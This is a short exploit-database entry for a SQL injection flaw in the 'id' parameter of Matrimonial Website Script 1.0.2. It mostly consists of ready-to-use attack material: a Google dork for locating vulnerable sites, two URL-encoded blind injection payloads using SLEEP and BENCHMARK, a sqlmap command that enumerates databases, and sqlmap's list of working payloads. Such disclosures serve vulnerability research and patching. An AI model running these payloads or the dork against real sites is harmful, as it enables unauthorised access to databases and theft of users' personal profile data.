Exploit Matrimonial Website Script 1.0.2 - SQL Injection

[Exploiter]

EDB-ID

40416

Проверка EDB

1. Пройдено

Автор

N4TURAL

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2016-09-22

Matrimonial Website Script 1.0.2 - SQL Injection

######################
# Application Name : Matrimonial Website Script v1.0.2

# Google Dork : inurl:viewfullprofile1.php?id=

# Exploit Author : Cyber Warrior | Bug Researchers Group | N4TuraL

# Author Contact : https://twitter.com/byn4tural

# Vendor Homepage : http://www.i-netsolution.com/

# Vulnerable Type : SQL Injection

# Date : 2016-09-22

# Tested on : Windows 10 / Mozilla Firefox
#             Linux / Mozilla Firefox
#             Linux / sqlmap 1.0.6.28#dev

###################### SQL Injection Vulnerability ######################

# Location :
http://localhost/[path]/viewfullprofile1.php

######################

# PoC Exploit:

http://localhost/[path]/viewfullprofile1.php?id=MM57711%20and%20%2F*%2130000if%28exists%28select%20concat%280x7233646D3076335F73716C5F696E6A656374696F6E%2Ccount%28*%29%29%20from%20%3F%3F%3F.%E7%AE%A1%E7%90%86%E5%91%98%29%2CBENCHMARK%281161102%2C8%2CMD5%280x41%29%29%2C0%29*%2F

http://localhost/[path]/viewfullprofile1.php?id=MM57711%27%20AND%205860%3DIF%28%28ORD%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C1%29%29%3E1%29%2CSLEEP%285%29%2C5860%29%20AND%20%27wvYf%27%3D%27wvYf

# Exploit Code via sqlmap:

sqlmap -u http://localhost/[path]/viewfullprofile1.php?id=MM57711 --dbs

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=MM57711' AND 2424=2424 AND 'PgBT'='PgBT

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=MM57711' AND SLEEP(5) AND 'AgXd'='AgXd
---

######################